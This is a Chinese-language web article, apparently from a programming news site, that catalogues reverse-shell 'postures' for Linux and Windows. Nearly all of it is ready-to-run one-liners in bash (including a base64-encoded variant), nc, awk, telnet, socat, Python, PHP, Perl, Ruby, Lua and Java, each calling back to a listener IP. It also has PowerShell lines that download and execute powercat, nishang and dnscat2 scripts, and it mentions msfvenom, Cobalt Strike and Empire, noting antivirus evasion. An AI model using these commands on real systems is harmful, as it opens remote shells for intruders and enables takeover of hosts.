返回顶部
首页 > 资讯 > 精选 >反弹shell的姿势有哪些
  • 483
分享到

反弹shell的姿势有哪些

2023-06-20 18:06:14 483人浏览 安东尼
摘要

这篇文章主要介绍反弹shell的姿势有哪些,文中介绍的非常详细,具有一定的参考价值,感兴趣的小伙伴们一定要看完!linux 反弹shell姿势一:bash反弹bash -i >& /dev/tcp

这篇文章主要介绍反弹shell的姿势有哪些,文中介绍的非常详细,具有一定的参考价值,感兴趣的小伙伴们一定要看完!

linux 反弹shell

姿势一:bash反弹

bash -i >& /dev/tcp/192.168.99.242/1234 0>&1base64版:bash -c '{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljk5LjI0Mi8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}'

在线编码地址:Http://www.jackson-t.ca/runtime-exec-payloads.html

其他版本:

exec 5<>/dev/tcp/192.168.99.242/1234;cat <&5 | while read line; do $line 2>&5 >&5;doneexec /bin/sh 0</dev/tcp/192.168.99.242/1234 1>&0 2>&0

姿势二:nc反弹

nc -e /bin/bash 192.168.99.242 1234

姿势三:awk反弹

awk 'BEGIN{s="/inet/tcp/0/192.168.99.242/1234";for(;s|&getline c;close(c))while(c|getline)print|&s;close(s)}'

姿势四:telnet反弹

备注:需要在攻击主机上分别监听1234和4321端口,执行反弹shell命令后,在1234终端输入命令,4321查看命令执行后的结果。

telnet 192.168.99.242 1234 | /bin/bash | telnet 192.168.99.242 4321

姿势五:socat反弹

socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:192.168.99.242:1234

姿势六:python反弹

Python -c "import os,Socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('192.168.99.242',1234));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"

姿势七:PHP反弹

php -r '$sock=fsockopen("192.168.99.242",1234);exec("/bin/sh -i <&3 >&3 2>&3");'

姿势八:Perl反弹

perl -e 'use Socket;$i="192.168.99.242";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

姿势九:Ruby反弹

ruby -rsocket -e'f=TCPSocket.open("192.168.99.242",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

姿势十:lua反弹

lua -e "require('socket');require('os');t=socket.tcp();t:connect('192.168.99.242','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');"

姿势十一:JAVA反弹

public class Revs {    public static void main(String[] args) throws Exception {        // TODO Auto-generated method stub        Runtime r = Runtime.getRuntime();        String cmd[]= {"/bin/bash","-c","exec 5<>/dev/tcp/192.168.99.242/1234;cat <&5 | while read line; do $line 2>&5 >&5; done"};        Process p = r.exec(cmd);        p.waitFor();    }}

保存为Revs.java文件,编译执行,成功反弹shell。

javac Revs.java java Revs

 windows反弹shell

姿势一:nc反弹

netcat 下载:https://eternallybored.org/misc/netcat/

服务端反弹:nc 192.168.99.242 1234 -e c:\windows\system32\cmd.exe

姿势二:powershell反弹

powercat是netcat的powershell版本,功能免杀性都要比netcat好用的多。

PS C:\WWW>powershell IEX (New-Object System.net.WEBclient).DownloadString('https://raw.GitHubusercontent.com/besimorhino/powercat/master/powercat.ps1'); powercat -c 192.168.99.242 -p 1234 -e cmd

下载到目标机器本地执行:

PS C:\WWW> Import-Module ./powercat.ps1PS C:\WWW> powercat -c 192.168.99.242 -p 1234 -e cmd

姿势三:MSF反弹shell

使用msfvenom生成相关Payload

msfvenom -l payloads | grep 'cmd/windows/reverse'msfvenom -p cmd/windows/reverse_powershell LHOST=192.168.99.242 LPORT=1234

姿势四:Cobalt strike反弹shell

配置监听器:点击Cobalt Strike——>Listeners——>在下方Tab菜单Listeners,点击add。
2、生成payload:点击Attacks——>Packages——>Windows Executable,保存文件位置。
3、目标机执行powershell payload

姿势五:Empire反弹shell

usestager windows/launcher_vbsinfoset Listener testexecute

姿势六:nishang反弹shell

Reverse TCP shell:

powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com /samratashok/nishang/9a3c747bcf535ef82dc4c5c66aac36db47c2afde/Shells/Invoke-PowerShellTcp.ps1'); Invoke-PowerShellTcp -Reverse -IPAddress 10.1.1.210 -port 1234

Reverse UDP shell:

powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/9a3c747bcf535ef82dc4c5c66aac36db47c2afde/Shells/Invoke-PowerShellUdp.ps1');Invoke-PowerShellUdp -Reverse -IPAddress 10.1.1.210 -port 1234

姿势七:Dnscat反弹shell

github项目地址:

https://github.com/iaGox86/dnscat2

服务端:

ruby dnscat2.rb --dns "domain=lltest.com,host=xx.xx.xx.xx" --no-cache -e open -e open

目标主机:

powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/lukebaggett/dnscat2-powershell/master/dnscat2.ps1');Start-Dnscat2 -Domain lltest.com -DNSServer xx.xx.xx.xx

以上是“反弹shell的姿势有哪些”这篇文章的所有内容,感谢各位的阅读!希望分享的内容对大家有帮助,更多相关知识,欢迎关注编程网精选频道!

--结束END--

本文标题: 反弹shell的姿势有哪些

本文链接: https://lsjlt.com/news/299197.html(转载时请注明来源链接)

有问题或投稿请发送至: 邮箱/279061341@qq.com    QQ/279061341

猜你喜欢
  • 反弹shell的姿势有哪些
    这篇文章主要介绍反弹shell的姿势有哪些,文中介绍的非常详细,具有一定的参考价值,感兴趣的小伙伴们一定要看完!Linux 反弹shell姿势一:bash反弹bash -i >& /dev/tcp...
    99+
    2023-06-20
  • 反弹shell的几种姿势小结
    目录linux 反弹shell Windows反弹shell在渗透过程中,往往因为端口限制而无法直连目标机器,此时需要通过反弹shell来获取一个交互式shell,以便继续深入。 反弹shell是打开内网通道的...
    99+
    2022-06-04
    反弹shell
  • Linux下反弹CmdLine Shell小技巧有哪些
    这篇文章主要为大家展示了“Linux下反弹CmdLine Shell小技巧有哪些”,内容简而易懂,条理清晰,希望能够帮助大家解决疑惑,下面让小编带领大家一起研究并学习一下“Linux下反弹CmdLine Shell小技巧有哪些”这篇文章吧。...
    99+
    2023-06-17
  • shell两个文件去重的多种姿势
    前言 大家都知道shell在文本处理上确有极大优势,比如多文本合并、去重等,但是最近遇到了一个难搞的问题,即两个大数据量文件去重。下面来看看详细的介绍吧。 要求 有txt文件A.txt和B.txt。 其中...
    99+
    2022-06-04
    姿势 多种 两个
  • 弹性云服务器有哪些优势
    弹性云服务器的优势有:1.稳定可靠,支持故障自动迁移;2.存储能力强,数据可靠性高;3.安全保障,支持100%网络隔离;4.弹性伸缩,可以调整主机规格和带宽;5.软硬结合,可以确保应用环境安全可靠;6.应用领域广,广泛应用于网站、企业电商、...
    99+
    2024-04-02
  • 弹性云服务器优势有哪些
    弹性云服务器(Elastic Cloud Hyper-V)是一种云计算基础架构,它使得用户可以随时随地访问数据和应用程序。其特点是可以通过任何可用的终端连接访问,并且可以实现无限制地扩展和缩减容量。 下面是一些弹性云服务器的优势: 自动...
    99+
    2023-10-26
    弹性 优势 服务器
  • linux反弹shell的原理详解
    完整命令 反弹shell命令: bash -i >& /dev/tcp/10.0.0.1/8080 0>&1 bash -i > /dev/tFuWHREZxoFcp/ip/port...
    99+
    2022-06-04
    linux反弹shell
  • Linux的反弹shell命令的解析
    这篇文章主要介绍“Linux的反弹shell命令的解析”,在日常操作中,相信很多人在Linux的反弹shell命令的解析问题上存在疑惑,小编查阅了各式资料,整理出简单好用的操作方法,希望对大家解答”Linux的反弹shell命令的解析”的疑...
    99+
    2023-06-16
  • 弹性云服务器优势有哪些方面的
    可伸缩性:弹性云服务器可以根据用户需求进行自适应的配置和伸缩,使得服务器的资源利用率更高,满足不同用户的需求。 资源利用率高:弹性云服务器可以通过动态调度服务器资源,减少对硬件的需求,从而减少服务器的资源消耗,提高资源利用率。 可弹性扩容...
    99+
    2023-10-28
    弹性 优势 服务器
  • Android屏幕锁屏弹窗的正确姿势DEMO详解
    在上篇文章给大家介绍了Android程序开发仿新版QQ锁屏下弹窗功能。今天通过本文给大家分享android锁屏弹窗的正确姿势。 最近在做一个关于屏幕锁屏悬浮窗的功能,于是在网上...
    99+
    2022-06-06
    弹窗 锁屏 demo Android
  • 弹性云服务器优势有哪些特点和优势
    弹性:弹性云服务器能够根据客户需求动态调整计算资源的容量,使客户可以灵活应对资源的变化。弹性云服务器可以按需分配计算资源,使客户能够根据自己的业务需求随时增加或减少计算资源,从而提高资源利用率。 高可用性:弹性云服务器具有高可用性的特点,...
    99+
    2023-10-27
    优势 弹性 服务器
  • 弹性云服务器有哪些产品优势
    弹性云服务器的产品优势有:1.资源调用弹性,可以随时变更服务器配置;2.计费方式弹性,提高资源利用效率,降低成本;3.业务管理弹性,避免流量高峰;具体分析如下:资源调用弹性传统IT环境下,用户很难做到对单个服务器进行配置变更。通常情况下,购...
    99+
    2024-04-02
  • 弹性云服务器优势有哪些特点
    弹性云服务器(Elastic Cloud Hypervisor)是一种云计算平台,它提供了许多独特的优点,例如: 高可扩展性:弹性云服务器具有高可扩展性,可以根据客户需求随时扩展服务器资源,以提高性能和灵活性。 快速部署和维护:弹性云服...
    99+
    2023-10-27
    弹性 优势 服务器
  • 弹性云服务器优势有哪些方面
    弹性云服务器(Elastic Cloud Hyper-V)是一种云计算平台,它提供了类似于传统的服务器硬件所具有的弹性扩展能力。该平台能够在一台或多台服务器上同时提供服务,而不是单独购买或租赁服务器。这使得企业能够轻松地在其云服务器上进行弹...
    99+
    2023-10-27
    弹性 优势 服务器
  • 详解NC反弹shell的几种方法
    假如ubuntu、CentOS为目标服务器系统 kali为攻击者的系统,ip为:192.168.0.4,开放7777端口且没被占用 最终是将ubuntu、CentOS的shell反弹到kali上 正向反弹shell u...
    99+
    2022-06-04
    NC反弹shell
  • linux中反弹shell的原理是什么
    这期内容当中小编将会给大家带来有关linux中反弹shell的原理是什么,文章内容丰富且以专业的角度为大家分析和叙述,阅读完这篇文章希望大家可以有所收获。什么是Linux系统Linux是一种免费使用和自由传播的类UNIX操作系统,是一个基于...
    99+
    2023-06-09
  • 弹性云服务器优势有哪些方面的特征
    弹性伸缩性 弹性云服务器能够动态调整资源的分配和使用,当资源不足时可以及时减少或增加资源,保证业务的高效运行。同时,弹性云服务器还支持快速扩容和缩容,能够快速响应用户的需求,提高资源的利用率。 可靠性 弹性云服务器具有高可靠性,可...
    99+
    2023-10-28
    弹性 特征 优势
  • 弹性云服务器优势有哪些方面的问题
    弹性云服务器的优势 (1)快速部署和升级:弹性云服务器能够自动管理和监控服务器的资源,使得用户能够快速地部署和升级服务器。 (2)节省IT成本:弹性云服务器可以根据需要随时增加或减少计算资源,以便快速响应用户需求。 (3)可扩展性:弹...
    99+
    2023-10-28
    弹性 优势 服务器
  • linux的shell有哪些
    本篇内容介绍了“linux的shell有哪些”的有关知识,在实际案例的操作过程中,不少人都会遇到这样的困境,接下来就让小编带领大家学习一下如何处理这些情况吧!希望大家仔细阅读,能够学有所成!linux shell有:1、Bourne She...
    99+
    2023-06-21
  • javascript弹窗有哪些
    这篇文章主要讲解了“javascript弹窗有哪些”,文中的讲解内容简单清晰,易于学习与理解,下面请大家跟着小编的思路慢慢深入,一起来研究和学习“javascript弹窗有哪些”吧! ...
    99+
    2024-04-02
软考高级职称资格查询
编程网,编程工程师的家园,是目前国内优秀的开源技术社区之一,形成了由开源软件库、代码分享、资讯、协作翻译、讨论区和博客等几大频道内容,为IT开发者提供了一个发现、使用、并交流开源技术的平台。
  • 官方手机版

  • 微信公众号

  • 商务合作